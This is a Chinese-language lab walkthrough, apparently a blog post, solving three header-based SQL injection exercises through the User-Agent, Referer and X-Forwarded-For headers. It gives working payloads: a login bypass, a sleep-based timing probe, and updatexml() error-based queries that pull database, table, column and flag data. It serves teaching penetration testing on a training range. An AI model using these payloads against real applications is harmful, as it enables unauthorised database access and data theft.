Head注入(USERANGENT、Referer、X-forword-for)
Head注入
靶场地址
原理:
head注入就是通过burp抓包,修改它的请求头useagent的数据来和数据库进行交互查询数据
第一题:
我们先查看url栏,没有get传参
再尝试post传参
在usename栏输入代码
' or 1=1 #
发现usename不行查看源代码,可以通过password传参
接着我们尝试头注入,查看源代码,发*现它使用了超全局变量$uagent = $_SERVER[‘HTTP_USER_AGENT’];并且它有个if语句必须要登陆才可以插入usergent语句,我们已经通过password找到了账号密码,并且登陆成功,所以直接用admin 和123456
利用谷歌插件,进行请求头修改
'or sleep(5),1)#
发现网页有明显的延迟,判断正确。
于是我们利用updatemlx()进行报错获取数据库名
'or updatexml(1,concat(0x7e,(select database())),1),1)#
获得数据库名:head_error
再继续查表名,输入代码
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#
查出表名
flag_head
ip
refer
uagent
user
再查字段,把下面代码输入到谷歌插件中
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #
得出所有字段名:
id
flag_h1
于是直接用最后输入sql语句代码
'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #
所有flag为
zKaQ-YourHd,zKaQ-Refer,zKaQ-ip
验证为第一个
第一题完
第二题:
和第一题类似
首先找到登陆账号密码
我们利用updatemlx()进行报错获取数据库名
'or updatexml(1,concat(0x7e,(select database())),1),1)#
然后直接用burp抓包修改refer,输入代码
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#
查询数据为
得到所有表名
接着查列名
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #
得到列名中有flag
直接继续查数据
'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #
得到所有flag
第二题和第一题区别就是一个修改useragent 一个修改refer
第二题完
第三题:
查看源代码
它这里替换的是ip
所以我们直接修改ip进行传参即可,我们用谷歌插件,X-Forwarded-For进行传参
输入代码
'or updatexml(1,concat(0x7e,(select database())),1),1) #
得到数据库名
我们继续查表名:
输入代码
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#
得到所有表名
接着查列名
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #
得到列名中有flag
直接继续查数据
'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #
但是最后一个flag并不是zKaQ-ipi,可能是长度不够,重新输入代码
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 2,1)),1),1) #
验证即,正确
第三题完
下一篇: 星云测试插装编译流程与CI集成